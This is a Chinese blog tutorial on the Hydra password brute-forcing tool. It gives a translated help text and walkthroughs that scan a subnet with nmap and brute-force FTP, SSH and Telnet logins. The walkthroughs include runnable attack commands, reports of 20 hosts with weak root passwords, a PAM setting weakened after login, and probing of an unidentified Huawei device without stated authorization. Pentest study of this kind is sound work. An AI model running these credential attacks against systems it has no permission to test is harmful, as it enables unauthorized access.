【工具-Hydra】暴力破解神器:Hydra-九头蛇

前言

Hydra[ˈhaɪdrə],九头蛇,希腊神话中的怪兽,在网安工具中,是一款暴力破解的利器!

1 安装使用

Linux下载:https://github.com/vanhauser-thc/thc-hydra

Windows下载:https://github.com/maaaaz/thc-hydra-windows

本文采用windows环境演示,下载后,解压,运行【hydra.exe】即可。

PS:windows的版本比linux的要晚几个月出,也就是它不是最新的hydra版本,如果要用最新特性,请在linux上运行使用。

使用方法:hydra.exe -h

2 使用介绍(翻译)

把【hydra -h】的结果翻译一下:

  • 第一部分:THC(工具所属的黑客组织)声明不要用于军事或涉密的场合,请合法使用!
  • 第二部分:使用语法结构
Syntax: hydra [[[-l LOGIN|-L FILE] [-p PASS|-P FILE]] | [-C FILE]] [-e nsr] 
[-o FILE] [-t TASKS] [-M FILE [-T TASKS]] [-w TIME] [-W TIME] [-f] [-s PORT]
[-x MIN:MAX:CHARSET] [-c TIME] [-ISOuvVd46] [service://server[:PORT][/OPT]]
  • 第三部分:参数介绍
-R			恢复先前中止/崩溃的会话,继续上次的扫描(解决hydra的不稳定问题)
-I			忽略现有的恢复文件(不要等待10秒)
-S			采用SSL连接
-s PORT			如果服务使用的不是默认端口,那可以这样指定
-l LOGIN or -L FILE	使用指定登录名,或从文件加载多个登录名
-p PASS  or -P FILE	使用指定密码,或从文件加载多个密码
-e nsr			n 表示空密码登陆,s 表示使用 pass 和 / 登陆,r表示反向登陆
-u			围绕用户循环,而不是密码,也就是说一个用户尝试所有密码之后,再开始下一个用户
-C FILE			这是-L和-P的替代者,-C表示一个行格式如name:pass的用户名和密码组合的字典文件(路径)
-M FILE			表示需要爆破的服务列表字典,使用冒号“:”与PORT(端口)分割,每行一条数据
-o FILE			表示将发现的用户名和密码对写入到一个文件(路径)中,取代输出的方式
-b FORMAT		指定输入的用户名和密码对文件的格式,一般与-o参数一起使用。默认输出格式是‘text’,可指定格式‘json’、‘jsonv1’ 
-f / -F			发现了一个可用的用户名和密码对时,即终止爆破,通常与-M参数一起使用。-f表示每个主机,-F表示任意主机
-t TASKS		可以理解为线程数,每次启用指定数量个线程对单个主机进行爆破,默认值为16个,通常主机会限制同时连接的线程数量
-T TASKS		通常与-M参数一起使用,表示总共启用线程数对多个主机进行爆破,默认值为64个
-w / -W TIME		指定响应的最大等待时间(默认32秒) / 指定每个线程两次连接的间隔,默认0秒
-c TIME			为每次登陆请求指定一个时间长度的间隔,这样子会强制线程数为1(即:-t 1)
-4 / -6			默认使用IPv4,也可以指定为IPv6 (put always in [] also in -M)
-v / -V / -d		分别是详细模式、展示每次登陆的用户名和密码对、debug模式
-O			使用旧的SSL v2和v3
-q			不打印有关连接错误的消息
-U			服务模块使用详细信息,例如hydra -U http-get查询get请求的使用方式,hydra -U http-proxy查询http-proxy的使用方式
-h			帮助文档
server			目标DNS或IP或IP段(使用这个或-M选项)
service			服务名
OPT			一些服务模块包含附加功能(使用-U查看)

密码生成器:

-x MIN:MAX:CHARSET	密码暴力破解生成器,详细使用方式可以通过【-x -h】来了解
规则:MIN表示生成密码的最短长度;MAX表示生成密码的最长长度;CHARSET表示使用指定的字符生成密码,
'a'表示所有的小写字母,'A'表示所有的大写字母,'1'表示所有的数字,对于其他字符,只需要添加在后面即可
-y			使用方式见-x,它表示charset的字符是实际的字符,而不是正则表达式
-x  3:5:a  		生成的密码字典长度为3到5位,由所有的小写字母组成
-x  5:8:A1		生成的密码字典长度为5到8位,有所有的大写字母和数字组成
-x  5:5/%,.-		生成的密码字典长度为5位,只由'/ % , . -'这5种字符构成
-x  3:5:aA1  -y		生成的密码字典长度为3到5位,且只由'a A 1'这三种字符组成
  • 第四部分:已支持服务(43个!2019年5月的版本)
adam6500 asterisk cisco cisco-enable cvs ftp[s] http[s]-{head|get|post} http[s]-{get|post}-form 
http-proxy http-proxy-urlenum icq imap[s] irc ldap2[s] ldap3[-{cram|digest}md5][s] mssql mysql 
nntp oracle-listener oracle-sid pcanywhere pcnfspop3[s] postgres redis rexec rlogin rpcap rsh rtsp 
s7-300 sip smb smtp[s] smtp-enum snmp socks5 ssh sshkey teamspeak telnet[s] vmauthd vnc xmpp

3 例子走一波

基本使用都是这个套路:

单点:hydra 各类参数(如:-I -f -vV) -l 账号 -P 密码字典  -o 结果存储文件  服务名://地址
批量:hydra 各类参数(如:-I -f -vV) -l 账号 -P 密码字典 -M 地址文件  -o 结果存储文件  服务名

PS:下面会用到主机渗透神器NMAP,不会用的可以看看:主机渗透神器:NMAP (功能介绍,安装,使用,参数完整翻译)

3.1 FTP-21

ftp:File Transfer Protocol,一种文件传输协议,使用端口21

渗透目标:批量扫描一个网段的弱口令

  • 第一步:使用nmap获取网段内所有开启21端口的IP,并输出到指定文件中:
nmap -vv -n -sS -sU -p21 192.168.27.0/24  | C:\GnuWin\GnuWin32\bin\grep.exe "Discovered open port" | C:\GnuWin\gawk-3.1.6-1-bin\bin\awk.exe {"print $6"} | C:\GnuWin\gawk-3.1.6-1-bin\bin\awk.exe -F/ {"print $1"} > E:\桌面\hack\workspace\21-output.txt

结果:

192.168.27.46
192.168.27.89
  • 第二步:看看是否存在Anonymous匿名访问权限

192.168.27.46:发现可以直接访问

192.168.27.89:发现访问需要提供账号密码

  • 第三步:由于不知道192.168.27.89的账号名,只知道192.168.27.46有一个wang的账号,勉强用这个测试一下Hydra的效果:
hydra -I -f -l wang -P E:\桌面\hack\tools\Fuzz字典\密码字典\test.txt -o E:\桌面\hack\workspace\ftp-pwd-result.txt ftp://192.168.27.46

结果:检测出密码值

使用账号密码登陆:发现和匿名账号访问的还不是同一个路径

至于:27.89,出于好奇,收集一波信息看看:

发现:开放了一堆奇奇怪怪的端口,可能和路由有关

发现:nmap无法识别操作系统,猜测可能是一台国产操作系统

发现:443和80开放了华为的登陆页面,猜测可能是台华为的设备

OK,后面找机会再看......

3.2 ssh-22

ssh:Secure Shell缩写,一种远程登陆会话的协议,使用端口22

渗透目标:批量扫描一个网段的弱口令

  • 第一步:使用nmap获取网段内所有开启22端口的IP,并输出到指定文件中:
nmap -vv -n -sS -sU -p22 192.168.27.0/24  | C:\GnuWin\GnuWin32\bin\grep.exe "Discovered open port" | C:\GnuWin\gawk-3.1.6-1-bin\bin\awk.exe {"print $6"} | C:\GnuWin\gawk-3.1.6-1-bin\bin\awk.exe -F/ {"print $1"} > E:\桌面\hack\workspace\22-output.txt

结果:【22-output.txt】内容:35个IP结果

  • 第二步:对指定文件内的IP列表,进行扫描,并将结果输出到文件里:
hydra -I -t 1 -l root -P E:\桌面\hack\tools\Fuzz字典\密码字典\test.txt -M E:\桌面\hack\workspace\22-output.txt -o E:\桌面\hack\workspace\ssh-pwd-result.txt ssh

结果:【ssh-pwd-result.txt】内容:发现20台存在弱口令

PS:Hydra批量扫描经常会出现崩溃,解决方案有:降低线程数量【-t 1】or【-T 6】,还出现问题,那么只能分多次扫描,减少每次扫描IP的数量;其二,不一定一次就能把所有弱口令全部检测全,可能会有遗漏,可以多测几次。

3.3 Telnet-23

telnet:也是一种远程访问协议,可共用操作系统账号,使用端口23

目标:批量扫描一个网段的弱口令

  • 第一步:使用nmap获取网段内所有开启23端口的IP,并输出到控制台:
nmap -vv -n -sS -sU -p23 192.168.27.0/24  | C:\GnuWin\GnuWin32\bin\grep.exe -E "open|scan" |C:\GnuWin\GnuWin32\bin\grep.exe -v "filtered\|down"

结果:只发现一台是明确开放了23端口的,这里需要对nmap的扫描结果的6个状态有了解。

  • 第二步:对发现主机进行telnet探测:
hydra -I -f -vV -l root -P E:\桌面\hack\tools\Fuzz字典\密码字典\test.txt  -o E:\桌面\hack\workspace\telnet-pwd-result.txt  telnet://192.168.27.32

结果:探测出账号密码

PS:不过linux环境下一般是不会让telnet,通过root登陆的,这里是用之前ssh的弱口令登陆上去修改了安全配置(CentOS,注释掉【/etc/pam.d/remote】文件内容:auth required pam_securetty.so)

3.4 SMTP-25

待续......

 

 

 

 


爱家人,爱生活,爱设计,爱编程,拥抱精彩人生!

 

  • 19
    点赞
  • 126
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

qqchaozai

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值